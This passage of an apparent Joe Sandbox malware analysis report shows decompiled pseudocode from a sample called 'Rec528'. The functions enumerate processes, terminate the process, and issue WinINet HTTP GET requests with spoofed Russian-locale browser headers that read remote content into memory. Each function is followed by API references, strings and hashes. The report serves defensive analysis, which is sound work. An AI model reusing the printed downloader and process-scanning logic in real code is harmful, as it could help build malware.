				void* _t71;
				int* _t72;
				void* _t73;
				signed int _t74;
				signed int _t75;
				signed int _t76;

				_t23 =  *0x43d054; // 0x298e9dc2
				_v8 = _t23 ^ _t74;
				_push(__ebx);
				_push(_t65);
				_t25 = CreateToolhelp32Snapshot(0xf, 0); // executed
				_t70 = _t25;
				_v308 = 0x128;
				_t27 = Process32First(_t70,  &_v308); // executed
				if(_t27 == 0) {
					L4:
					FindCloseChangeNotification(_t70); // executed
					_t53 = 0;
				} else {
					_t65 = Process32Next;
					while(1) {
						_t47 =  >=  ? _a4 :  &_a4;
						_t49 = E00410160( &_v272,  >=  ? _a4 :  &_a4);
						_t76 = _t76 + 8;
						if(_t49 != 0) {
							break;
						}
						_t51 = Process32Next(_t70,  &_v308); // executed
						if(_t51 != 0) {
							continue;
						} else {
							goto L4;
						}
						goto L5;
					}
					_t53 = 1;
				}
				L5:
				_t63 = _a24;
				if(_t63 < 0x10) {
					L11:
					_pop(_t66);
					_pop(_t71);
					_pop(_t54);
					return E0040EB3F(_t53, _t54, _v8 ^ _t74, _t63, _t66, _t71);
				} else {
					_t57 = _a4;
					_t63 = _t63 + 1;
					_t31 = _t57;
					if(_t63 < 0x1000) {
						L10:
						_push(_t63);
						E0040ED7F(_t57);
						goto L11;
					} else {
						_t57 =  *(_t57 - 4);
						_t63 = _t63 + 0x23;
						if(_t31 - _t57 + 0xfffffffc > 0x1f) {
							E004134A7(_t53, _t63, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t74);
							_t75 = _t76;
							_t36 =  *0x43d054; // 0x298e9dc2
							_v340 = _t36 ^ _t75;
							_push(_t70);
							_push(_t65);
							_t72 = _t57;
							_v604 = _t72;
							_v604 = _t72;
							_t67 = OpenProcess(0x410, 0, _t63);
							__eflags = _t67;
							if(_t67 != 0) {
								__imp__K32GetModuleFileNameExA(_t67, 0,  &_v272, 0x104); // executed
								FindCloseChangeNotification(_t67); // executed
							}
							_t58 =  &_v272;
							 *_t72 = 0;
							_t72[4] = 0;
							_t64 = _t58 + 1;
							_t72[5] = 0xf;
							 *_t72 = 0;
							do {
								_t39 =  *_t58;
								_t58 = _t58 + 1;
								__eflags = _t39;
							} while (_t39 != 0);
							E004026C0(_t53, _t72,  &_v272, _t58 - _t64);
							_pop(_t68);
							__eflags = _v12 ^ _t75;
							_pop(_t73);
							return E0040EB3F(_t72, _t53, _v12 ^ _t75, _t64, _t68, _t73);
						} else {
							goto L10;
						}
					}
				}
			}

0x00405359
0x00405360
0x00405363
0x00405365
0x0040536a
0x00405370
0x00405372
0x00405384
0x0040538c
0x004053c1
0x004053c2
0x004053c8
0x0040538e
0x0040538e
0x00405394
0x0040539b
0x004053a7
0x004053ac
0x004053b1
0x00000000
0x00000000
0x004053bb
0x004053bf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004053bf
0x004053f2
0x004053f2
0x004053ca
0x004053ca
0x004053d0
0x00405400
0x00405405
0x00405406
0x00405409
0x00405412
0x004053d2
0x004053d2
0x004053d5
0x004053d6
0x004053de
0x004053f6
0x004053f6
0x004053f8
0x00000000
0x004053e0
0x004053e0
0x004053e3
0x004053ee
0x00405413
0x00405418
0x00405419
0x0040541a
0x0040541b
0x0040541c
0x0040541d
0x0040541e
0x0040541f
0x00405420
0x00405421
0x00405429
0x00405430
0x00405433
0x00405434
0x00405436
0x0040543a
0x00405445
0x00405451
0x00405453
0x00405455
0x00405466
0x0040546d
0x0040546d
0x00405473
0x00405479
0x0040547f
0x00405486
0x00405489
0x00405490
0x00405493
0x00405493
0x00405495
0x00405496
0x00405496
0x004054a6
0x004054b0
0x004054b1
0x004054b3
0x004054bc
0x004053f0
0x00000000
0x004053f0
0x004053ee
0x004053de

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0040536A
Process32First.KERNEL32(00000000,00000128), ref: 00405384
Process32Next.KERNEL32 ref: 004053BB
FindCloseChangeNotification.KERNEL32(00000000,?,?), ref: 004053C2

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32
String ID:
API String ID: 3243318325-0
Opcode ID: 140a377091eb68baeb517e7600a9f45eb7aaf4f5201008fc12169e23d9615c6d
Instruction ID: 99d4fd4856a74736bfac33b555c65fcc50ced0e1ccdc43452efd62a6c83cc5c7
Opcode Fuzzy Hash: 140a377091eb68baeb517e7600a9f45eb7aaf4f5201008fc12169e23d9615c6d
Instruction Fuzzy Hash: A121F331600118ABDB20DF25DD45BEF37A8EB45345F50057AE805D6281E778DA82CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00417B2F Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00417B2F(int _a4) {
				void* _t14;

				if(E0042039F(_t14) != 1 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E00417B71(_t14, _a4);
				ExitProcess(_a4);
			}

0x00417b3c
0x00417b58
0x00417b58
0x00417b61
0x00417b6a

APIs

GetCurrentProcess.KERNEL32(0041CB9F,?,00417B2E,00000000,?,0041CB9F,00000000,0041CB9F), ref: 00417B51
TerminateProcess.KERNEL32(00000000,?,00417B2E,00000000,?,0041CB9F,00000000,0041CB9F), ref: 00417B58
ExitProcess.KERNEL32 ref: 00417B6A

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: ed8121747a5916c0d4d7e76e5998f8eb11bb96fe12b92581084defb0bd95f10c
Instruction ID: 823f1f8a5f953c157eb43a61dc777276b9c9f4f5bb5b3f464bbe2e79c16ce7d4
Opcode Fuzzy Hash: ed8121747a5916c0d4d7e76e5998f8eb11bb96fe12b92581084defb0bd95f10c
Instruction Fuzzy Hash: 6BE04631108148AFCB216F66DC09EA93B79FB44345B504429F8058A231CB3AEC93CA98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F709 Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040F709() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E0040F715); // executed
				return _t1;
			}

0x0040f70e
0x0040f714

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000F715,0040F2A7), ref: 0040F70E

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 53d5a235af531a52490dd842bfc12a63c249480cfd86157dc8376718d19102a6
Instruction ID: 69962aa2a0bbba620ae75cc6f62b3e853447d4c9231e8d547e0787e9311e091a
Opcode Fuzzy Hash: 53d5a235af531a52490dd842bfc12a63c249480cfd86157dc8376718d19102a6
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 100014C9 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 184
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E100014C9(void* __ebx, void* __ecx, void* __edx, void* __edi, signed int __esi, void* __eflags) {
				void* _t78;
				void* _t80;
				int _t83;
				void* _t85;
				signed int _t90;
				signed int _t93;
				void _t101;
				void* _t112;
				intOrPtr _t114;
				void* _t116;
				void* _t117;
				void* _t118;
				signed int _t119;
				signed int _t120;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t124;
				void* _t125;

				_t119 = __esi;
				_t112 = __edx;
				_push(0x48);
				E1000E879(0x1000fbfb, __ebx, __edi, __esi);
				 *(_t124 - 0x50) = __ecx;
				 *(_t124 - 0x4c) =  *(_t124 + 8);
				E1000178B(_t124 - 0x30,  *(_t124 + 8));
				 *((intOrPtr*)(_t124 - 4)) = 0;
				_t114 =  *((intOrPtr*)(_t124 - 0x20));
				_t101 =  >=  ?  *((void*)(_t124 - 0x30)) : _t124 - 0x30;
				 *(_t124 - 0x18) = _t101;
				if(_t114 < 7) {
					L8:
					_t59 =  *((intOrPtr*)(_t124 - 0x20));
					_t116 =  >=  ?  *((void*)(_t124 - 0x30)) : _t124 - 0x30;
					if( *((intOrPtr*)(_t124 - 0x20)) == 0) {
						L11:
						_t120 = _t119 | 0xffffffff;
						__eflags = _t120;
						L12:
						 *((intOrPtr*)(_t124 - 0x48)) = 0;
						_t103 =  <  ?  *((void*)(_t124 - 0x20)) : _t120;
						_t61 =  >=  ?  *((void*)(_t124 - 0x30)) : _t124 - 0x30;
						 *((intOrPtr*)(_t124 - 0x38)) = 0;
						 *((intOrPtr*)(_t124 - 0x34)) = 0xf;
						 *((char*)(_t124 - 0x48)) = 0;
						E1000183D(_t124 - 0x48,  >=  ?  *((void*)(_t124 - 0x30)) : _t124 - 0x30,  <  ?  *((void*)(_t124 - 0x20)) : _t120);
						_push(_t120);
						 *((char*)(_t124 - 4)) = 1;
						E1000173B(0, _t124 - 0x30, _t116, 0);
						_t117 =  *(_t124 - 0x50);
						E100058C9(_t117 + 0x44, 0x104,  *(_t124 - 0x4c), 0x103);
						asm("sbb eax, eax");
						_t121 = InternetOpenA( *(_t117 + 0xc),  ~( *(_t117 + 0x38)) & 0x00000003,  *(_t117 + 0x38), 0, 0);
						 *(_t124 - 0x54) = _t121;
						if(_t121 == 0) {
							_t122 = 0;
							__eflags = 0;
						} else {
							 *(_t124 - 0x18) = 1;
							InternetSetOptionA(_t121, 0x41, _t124 - 0x18, 4);
							_t77 =  >=  ?  *((void*)(_t124 - 0x48)) : _t124 - 0x48;
							_t78 = InternetConnectA(_t121,  >=  ?  *((void*)(_t124 - 0x48)) : _t124 - 0x48, 0x50,  *(_t117 + 0x3c),  *(_t117 + 0x40), 3, 0, "true");
							 *(_t124 - 0x4c) = _t78;
							if(_t78 == 0) {
								_t122 = 0;
								__eflags = 0;
							} else {
								_t109 =  >=  ?  *((void*)(_t124 - 0x30)) : _t124 - 0x30;
								_t80 = HttpOpenRequestA(_t78, "GET",  >=  ?  *((void*)(_t124 - 0x30)) : _t124 - 0x30, 0, 0, 0, 0x80400000, "true"); // executed
								_t117 = _t80;
								_t140 = _t117;
								if(_t117 == 0) {
									_t122 = 0;
									__eflags = 0;
								} else {
									_push(_t117);
									E100010F0(0, _t117, _t121, _t140);
									_t83 = HttpSendRequestA(_t117, 0, 0, 0, 0);
									_t141 = _t83;
									if(_t83 == 0) {
										_t122 = 0;
										__eflags = 0;
									} else {
										_push(_t117); // executed
										_t85 = E100011B7(0,  *(_t124 - 0x50), _t112, _t117, _t121, _t141); // executed
										_t122 = _t85;
									}
									InternetCloseHandle(_t117);
								}
								InternetCloseHandle( *(_t124 - 0x4c));
							}
							InternetCloseHandle( *(_t124 - 0x54));
						}
						E10001B3F(_t124 - 0x48);
						E10001B3F(_t124 - 0x30);
						return E1000E837(0 | _t122 > 0x00000000, _t117, _t122);
					}
					_t119 = E1000FAC0(_t116, 0x2f, _t59);
					_t125 = _t125 + 0xc;
					if(_t119 == 0) {
						goto L11;
					}
					_t120 = _t119 - _t116;
					goto L12;
				}
				_t118 = _t114 + _t101;
				_push(_t118 - 6 - _t101);
				_push(0x68);
				_push(_t101);
				while(1) {
					_t119 = E1000FAC0();
					_t125 = _t125 + 0xc;
					if(_t119 == 0) {
						break;
					}
					_t90 = E1000EB30(_t119, "http://", 7);
					_t125 = _t125 + 0xc;
					__eflags = _t90;
					if(_t90 == 0) {
						_t119 = _t119 -  *(_t124 - 0x18);
						__eflags = _t119 - 0xffffffff;
						if(_t119 != 0xffffffff) {
							_push(7);
							E1000173B(0, _t124 - 0x30, _t118, _t119);
						}
						goto L8;
					}
					_t123 = _t119 + 1;
					_t93 = _t118 - 6 - _t123;
					__eflags = _t93;
					_push(_t93);
					_push(0x68);
					_push(_t123);
				}
				goto L8;
			}

0x100014c9
0x100014c9
0x100014c9
0x100014d0
0x100014d5
0x100014df
0x100014e2
0x100014ec
0x100014f3
0x100014f6
0x100014fa
0x10001500
0x10001550
0x10001557
0x1000155a
0x10001560
0x10001578
0x10001578
0x10001578
0x1000157b
0x10001583
0x10001586
0x1000158f
0x10001597
0x1000159a
0x100015a1
0x100015a4
0x100015a9
0x100015ae
0x100015b2
0x100015b7
0x100015cb
0x100015db
0x100015ea
0x100015ec
0x100015f1
0x100016a3
0x100016a3
0x100015f7
0x100015fc
0x10001607
0x10001616
0x10001627
0x1000162d
0x10001632
0x10001696
0x10001696
0x10001634
0x1000163d
0x10001650
0x10001656
0x10001658
0x1000165a
0x10001689
0x10001689
0x1000165c
0x1000165c
0x1000165d
0x10001667
0x1000166d
0x1000166f
0x1000167e
0x1000167e
0x10001671
0x10001674
0x10001675
0x1000167a
0x1000167a
0x10001681
0x10001681
0x1000168e
0x1000168e
0x1000169b
0x1000169b
0x100016af
0x100016b7
0x100016c3
0x100016c3
0x1000156b
0x1000156d
0x10001572
0x00000000
0x00000000
0x10001574
0x00000000
0x10001574
0x10001502
0x10001509
0x1000150a
0x1000150c
0x1000152d
0x10001532
0x10001534
0x10001539
0x00000000
0x00000000
0x10001517
0x1000151c
0x1000151f
0x10001521
0x1000153d
0x10001540
0x10001543
0x10001545
0x1000154b
0x1000154b
0x00000000
0x10001543
0x10001523
0x10001527
0x10001527
0x10001529
0x1000152a
0x1000152c
0x1000152c
0x00000000

APIs

__EH_prolog3_GS.LIBCMT ref: 100014D0
__cftof.LIBCMT ref: 100015CB
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 100015E4
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 10001607
InternetConnectA.WININET(00000000,?,00000050,?,?,00000003,00000000,?), ref: 10001627
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,80400000,?), ref: 10001650
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 10001667
InternetCloseHandle.WININET(00000000), ref: 10001681
InternetCloseHandle.WININET(?), ref: 1000168E
InternetCloseHandle.WININET(?), ref: 1000169B

Strings

GET, xrefs: 1000164A
http://, xrefs: 10001511

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectH_prolog3_OptionSend__cftof
String ID: GET$http://
API String ID: 1233269984-1632879366
Opcode ID: 3dde38a5e43af9933a4d5a4eb37ae33a92ba4a7e234d1cfae4c7b836071ae69b
Instruction ID: d670101dcd55573e38ebd2397ea5f0eb66eb4d5b9e29d99e64f28dba7a89ef29
Opcode Fuzzy Hash: 3dde38a5e43af9933a4d5a4eb37ae33a92ba4a7e234d1cfae4c7b836071ae69b
Instruction Fuzzy Hash: A6517C71E00229EFEB10CBA4DC85EEEBBB8EF04780F154118F906B7195DB75AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0040EDE0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E0040EDE0(_Unknown_base(*)()* __edi, void* __esi) {
				struct HINSTANCE__* _t2;
				void* _t4;
				void* _t7;
				void* _t10;
				struct HINSTANCE__* _t14;

				_t11 = __edi;
				_push(__edi);
				InitializeCriticalSectionAndSpinCount(0x4504fc, 0xfa0);
				_t2 = GetModuleHandleW(L"api-ms-win-core-synch-l1-2-0.dll"); // executed
				_t14 = _t2;
				if(_t14 != 0) {
					L2:
					_t11 = GetProcAddress(_t14, "SleepConditionVariableCS");
					_t4 = GetProcAddress(_t14, "WakeAllConditionVariable");
					if(_t11 == 0 || _t4 == 0) {
						_t4 = CreateEventW(0, "true", 0, 0);
						 *0x4504f8 = _t4;
						if(_t4 != 0) {
							goto L5;
						} else {
							goto L7;
						}
					} else {
						 *0x450514 = _t11;
						 *0x450518 = _t4;
						L5:
						return _t4;
					}
				} else {
					_t14 = GetModuleHandleW(L"kernel32.dll");
					if(_t14 == 0) {
						L7:
						E0040F575(_t10, _t11, _t14, 7);
						asm("int3");
						DeleteCriticalSection(0x4504fc);
						_t7 =  *0x4504f8; // 0x0
						if(_t7 != 0) {
							return CloseHandle(_t7);
						}
						return _t7;
					} else {
						goto L2;
					}
				}
			}

0x0040ede0
0x0040ede1
0x0040edec
0x0040edf7
0x0040edfd
0x0040ee01
0x0040ee14
0x0040ee26
0x0040ee28
0x0040ee30
0x0040ee4b
0x0040ee51
0x0040ee58
0x00000000
0x00000000
0x00000000
0x00000000
0x0040ee36
0x0040ee36
0x0040ee3c
0x0040ee41
0x0040ee43
0x0040ee43
0x0040ee03
0x0040ee0e
0x0040ee12
0x0040ee5a
0x0040ee5c
0x0040ee61
0x0040ee67
0x0040ee6d
0x0040ee74
0x00000000
0x0040ee77
0x0040ee7d
0x00000000
0x00000000
0x00000000
0x0040ee12

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(004504FC,00000FA0,?,?,0040EDBE), ref: 0040EDEC
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,0040EDBE), ref: 0040EDF7
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,0040EDBE), ref: 0040EE08
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0040EE1A
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0040EE28
CreateEventW.KERNEL32(00000000,?,00000000,00000000,?,?,0040EDBE), ref: 0040EE4B
DeleteCriticalSection.KERNEL32(004504FC,00000007,?,?,0040EDBE), ref: 0040EE67
CloseHandle.KERNEL32(00000000,?,?,0040EDBE), ref: 0040EE77

Strings

kernel32.dll, xrefs: 0040EE03
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0040EDF2
SleepConditionVariableCS, xrefs: 0040EE14
WakeAllConditionVariable, xrefs: 0040EE20

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 929696b3eb6ad812b6eafa8ae96832d20b57949e2c0496d369b19a4a45dc2b4b
Instruction ID: b12daeab647f6f3e0be53642f3fc9edbf6107bf06a2d582c31c99cf387c040d7
Opcode Fuzzy Hash: 929696b3eb6ad812b6eafa8ae96832d20b57949e2c0496d369b19a4a45dc2b4b
Instruction Fuzzy Hash: 17019275B40325ABD7311B72EC09F3736A8AB41B027940936FD00E23D1DA78CC6186AD

Uniqueness

Uniqueness Score: -1.00%

Function 00401A00 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 103
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00401A00(void* __ebx, void* __edi, void* __eflags, void* _a4) {
				char* _v8;
				char* _v12;
				char* _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				void* _v40;
				char* _v48;
				char _v56;
				void _v60;
				intOrPtr _v64;
				char* _v68;
				char* _v84;
				intOrPtr _v88;
				signed int _v92;
				void* _v96;
				void* _v124;
				char _v144;
				signed int _v152;
				void _v292;
				int _v296;
				long _v300;
				char* _v304;
				char _v320;
				signed int _v324;
				signed int _v328;
				short* _v332;
				char* _v336;
				signed int _v340;
				char* _v344;
				char* _v360;
				signed int _v364;
				char* _v368;
				char* _v384;
				void* _v456;
				intOrPtr* _v616;
				char _v636;
				signed int _v644;
				intOrPtr _v648;
				char* _v652;
				char* _v668;
				intOrPtr _v672;
				char* _v700;
				void* __esi;
				void* __ebp;
				signed int _t243;
				signed int _t244;
				int _t261;
				char* _t263;
				signed int _t268;
				signed int _t269;
				signed int _t276;
				char _t277;
				signed int _t282;
				signed int _t288;
				signed int _t289;
				short* _t296;
				signed int _t299;
				intOrPtr* _t302;
				signed int _t303;
				signed int _t305;
				short* _t309;
				signed int _t312;
				signed int _t314;
				signed int _t319;
				char* _t324;
				signed int _t331;
				signed int _t333;
				void* _t339;
				intOrPtr _t352;
				signed int _t357;
				char* _t358;
				void* _t366;
				signed int _t371;
				void* _t376;
				char* _t379;
				signed int _t387;
				signed int _t389;
				void* _t390;
				void* _t391;
				void* _t393;
				char* _t394;
				signed int _t395;
				void* _t397;
				intOrPtr _t398;
				void* _t400;
				void* _t401;
				char* _t410;
				intOrPtr* _t418;
				int _t422;
				short* _t429;
				void* _t436;
				char* _t438;
				char* _t441;
				intOrPtr* _t442;
				char _t456;
				char* _t458;
				char* _t465;
				signed int _t468;
				void* _t470;
				short* _t473;
				signed int _t476;
				char _t480;
				intOrPtr* _t482;
				intOrPtr _t484;
				signed int _t485;
				void* _t486;
				void* _t489;
				void* _t491;
				void* _t492;
				void* _t493;
				void* _t494;
				int _t495;
				short* _t496;
				signed int _t498;
				signed int _t500;
				signed int _t501;
				signed int _t502;
				void* _t504;
				intOrPtr* _t505;
				signed int _t506;
				void* _t509;
				char* _t510;
				void* _t511;
				void* _t512;
				void* _t513;
				void* _t514;
				intOrPtr _t515;
				void* _t517;
				void* _t518;
				signed int _t521;
				signed int _t522;
				signed int _t523;
				void* _t525;
				signed int _t526;
				void* _t528;
				void* _t529;
				void* _t530;
				signed int _t531;
				void* _t532;
				void* _t534;
				void* _t535;

				_t388 = __ebx;
				_push(0xffffffff);
				_push(0x42c1fd);
				_push( *[fs:0x0]);
				_t526 = _t525 - 0x24;
				_t243 =  *0x43d054; // 0x298e9dc2
				_t244 = _t243 ^ _t521;
				_v24 = _t244;
				_push(__edi);
				_push(_t244);
				 *[fs:0x0] =  &_v16;
				_t491 = _a4;
				_v48 = 0;
				_v32 = 0;
				_v28 = 0xf;
				_v48 = 0;
				E004026C0(__ebx,  &_v48, "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", 0x7d);
				_v8 = 0;
				_t248 =  >=  ? _v48 :  &_v48;
				HttpAddRequestHeadersA(_t491,  >=  ? _v48 :  &_v48, _v32, 0x20000000);
				E004026C0(__ebx,  &_v48, "Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", 0x28);
				_t252 =  >=  ? _v48 :  &_v48;
				HttpAddRequestHeadersA(_t491,  >=  ? _v48 :  &_v48, _v32, 0x20000000);
				E004026C0(__ebx,  &_v48, "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", 0x32);
				_t256 =  >=  ? _v48 :  &_v48;
				HttpAddRequestHeadersA(_t491,  >=  ? _v48 :  &_v48, _v32, 0x20000000);
				E004026C0(__ebx,  &_v48, "Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", 0x37);
				_t260 =  >=  ? _v48 :  &_v48;
				_t261 = HttpAddRequestHeadersA(_t491,  >=  ? _v48 :  &_v48, _v32, 0x20000000);
				_t468 = _v28;
				if(_t468 < 0x10) {
					L4:
					 *[fs:0x0] = _v16;
					_pop(_t492);
					_pop(_t509);
					return E0040EB3F(_t261, _t388, _v24 ^ _t521, _t468, _t492, _t509);
				} else {
					_t410 = _v48;
					_t468 = _t468 + 1;
					_t263 = _t410;
					if(_t468 < 0x1000) {
						L3:
						_push(_t468);
						_t261 = E0040ED7F(_t410);
						goto L4;
					} else {
						_t410 =  *(_t410 - 4);
						_t468 = _t468 + 0x23;
						if(_t263 - _t410 + 0xfffffffc > 0x1f) {
							E004134A7(__ebx, _t468, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t521);
							_t522 = _t526;
							_push(0xffffffff);
							_push(0x42c24b);
							_push( *[fs:0x0]);
							_t528 = _t526 - 0x170;
							_t268 =  *0x43d054; // 0x298e9dc2
							_t269 = _t268 ^ _t522;
							_v152 = _t269;
							_push(__ebx);
							_push(HttpAddRequestHeadersA);
							_push(_t491);
							_push(_t269);
							 *[fs:0x0] =  &_v144;
							_t510 = _t410;
							__eflags = _t510[0x28];
							_t493 = _v124;
							_v456 = _t493;
							if(__eflags != 0) {
								_v336 = _t510[0x34];
							} else {
								_t510[0x30] = 0x7800;
								_t387 = E0040ED8D(__ebx, _t493, _t510, __eflags, 0x7800);
								_t528 = _t528 + 4;
								_t510[0x28] = _t387;
								_t510[0x34] = 0;
								_v336 = 0;
							}
							_v300 = 0;
							InternetSetFilePointer(_t493, 0, 0, 0, 0);
							while(1) {
								_t276 = InternetReadFile(_t493,  &(_t510[0x34][_t510[0x28]]), 0x3e8,  &_v300); // executed
								_t469 = _v300;
								_t389 = _t276;
								_t277 = _t510[0x30];
								_t510[0x34] =  &(_t510[0x34][_t469]);
								__eflags = _t277 - _t510[0x34] - 0x3e8;
								if(__eflags <= 0) {
									_t510[0x30] = _t277 + 0x7800;
									_t506 = E0040ED8D(_t389, _t493, _t510, __eflags, _t277 + 0x7800);
									__eflags =  &(_t510[0x34][1]);
									E00410440(_t506, _t510[0x28],  &(_t510[0x34][1]));
									L0040EB4D(_t510[0x28]);
									_t469 = _v300;
									_t528 = _t528 + 0x14;
									_t510[0x28] = _t506;
									_t493 = _v332;
								}
								__eflags = _t389;
								if(_t389 == 0) {
									break;
								}
								__eflags = _t469;
								if(_t469 != 0) {
									continue;
								}
								break;
							}
							_v300 = 0x103;
							E00410A80(_t493,  &_v292, 0, 0x104);
							_t529 = _t528 + 0xc;
							_t282 = HttpQueryInfoA(_t493, 0x1d,  &_v292,  &_v300, 0);
							__eflags = _t282;
							if(_t282 == 0) {
								L38:
								_t510[0x34][_t510[0x28]] = 0;
								 *[fs:0x0] = _v20;
								_pop(_t494);
								_pop(_t511);
								_pop(_t390);
								__eflags = _v28 ^ _t522;
								return E0040EB3F(_t510[0x34] - _v336, _t390, _v28 ^ _t522, _t469, _t494, _t511);
							} else {
								_v328 = 0;
								_t288 =  &_v320;
								_v324 = 0;
								__imp__CoCreateInstance(_t288, 0, "true", 0x42e2c0,  &_v328);
								__eflags = _t288;
								if(_t288 < 0) {
									goto L38;
								} else {
									__eflags = _v328;
									if(_v328 == 0) {
										goto L38;
									} else {
										_t418 =  &_v292;
										_v360 = 0;
										_v344 = 0;
										_t470 = _t418 + 1;
										_v340 = 0xf;
										_v360 = 0;
										asm("o16 nop [eax+eax]");
										do {
											_t289 =  *_t418;
											_t418 = _t418 + 1;
											__eflags = _t289;
										} while (_t289 != 0);
										E004026C0(_t389,  &_v360,  &_v292, _t418 - _t470);
										_v12 = 0;
										_t391 = MultiByteToWideChar;
										_t422 =  &(_v344[1]);
										__eflags = _v340 - 0x10;
										_t293 =  >=  ? _v360 :  &_v360;
										_v296 = _t422;
										_t495 = MultiByteToWideChar(0, 0,  >=  ? _v360 :  &_v360, _t422, 0, 0);
										_t296 = E0040ED8D(MultiByteToWideChar, _t495, _t510, __eflags,  ~(0 | __eflags > 0x00000000) | _t294 * 0x00000002);
										_t530 = _t529 + 4;
										_v332 = _t296;
										__eflags = _v340 - 0x10;
										_t428 =  >=  ? _v360 :  &_v360;
										_t496 = _t296;
										MultiByteToWideChar(0, 0,  >=  ? _v360 :  &_v360, _v296, _t496, _t495);
										_t429 = _t496;
										_v384 = 0;
										__eflags = 0;
										_v368 = 0;
										_v364 = 7;
										_v384 = 0;
										_t99 =  &(_t429[1]); // 0x2
										_t473 = _t99;
										do {
											_t299 =  *_t429;
											_t429 =  &(_t429[1]);
											__eflags = _t299;
										} while (_t299 != 0);
										E00402560(MultiByteToWideChar,  &_v384, _t496);
										L0040EB4D(_t496);
										_t531 = _t530 + 4;
										_v12 = 1;
										_t302 = _v328;
										__eflags = _v364 - 8;
										_t475 =  >=  ? _v384 :  &_v384;
										_t303 =  *((intOrPtr*)( *_t302 + 0x10))(_t302,  >=  ? _v384 :  &_v384, L"text",  &_v324, _t429 - _t473 >> 1);
										_v12 = 0;
										_t498 = _t303;
										_t476 = _v364;
										__eflags = _t476 - 8;
										if(_t476 < 8) {
											L25:
											_v12 = 0xffffffff;
											_t469 = _v340;
											_v368 = 0;
											_v364 = 7;
											_v384 = 0;
											__eflags = _t469 - 0x10;
